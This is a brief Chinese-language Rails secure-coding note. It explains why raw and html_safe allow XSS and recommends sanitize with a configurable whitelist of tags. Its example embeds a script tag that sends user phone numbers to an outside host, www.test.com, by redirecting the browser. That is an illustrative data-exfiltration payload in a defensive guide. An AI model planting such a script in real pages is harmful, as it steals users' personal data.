避免使用rawhtml_safe, 安全使用sanitize

  • raw

    例如:

<%= raw "<script type=\"text/javascript\">window.location.href='http://www.test.com?a=#{User.limit(10).map(&:phone).join(',')}';</script>" %>

结果: 执行 script中的内容,并且查询User数据发送给www.test.com,如果www.test.com是自己的服务器,我们可以在服务器中截取User用户数据,比如cookie

我们可以看raw的源代码,其实就是用html_safe实现的

def raw(stringish)
  stringish.to_s.html_safe
end
  • html_safe

html_safe是完全把你的html内容原本原样的输出,这种事非常不安全的,把script标签的内容输出并执行结果,比如会造成XSS攻击 和raw一样,同上

  • sanitize

sanitize的源代码中:

self.allowed_tags = Set.new(%w(strong em b i p code pre tt samp kbd var sub
  sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
  acronym a img blockquote del ins))
self.allowed_attributes = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))

我们可以看到,sanitize是有默认的白名单,把一些危险的标签给去除掉,相对html_safe安全很多 也可以自己设置白名单 在config/appliction.rb中设置:

class Application < Rails::Application
 config.action_view.sanitized_allowed_tags = ['table', 'tr', 'td'] #安全的标签
 config.action_view.sanitized_allowed_attributes = ['id', 'class', 'style'] #安全的属性
end

例如:

<%= sanitize "<script type=\"text/javascript\">window.location.href='http://www.test.com?a=#{User.limit(10).map(&:phone).join(',')}';</script>" %>

结果:

window.location.href='http://www.test.com?a=***';

并不会执行script,而是把不是白名单的标签内容输出

不管怎么样,使用sanitize就好了,如果有需求也可以自行配置sanitize的白名单,比较安全可靠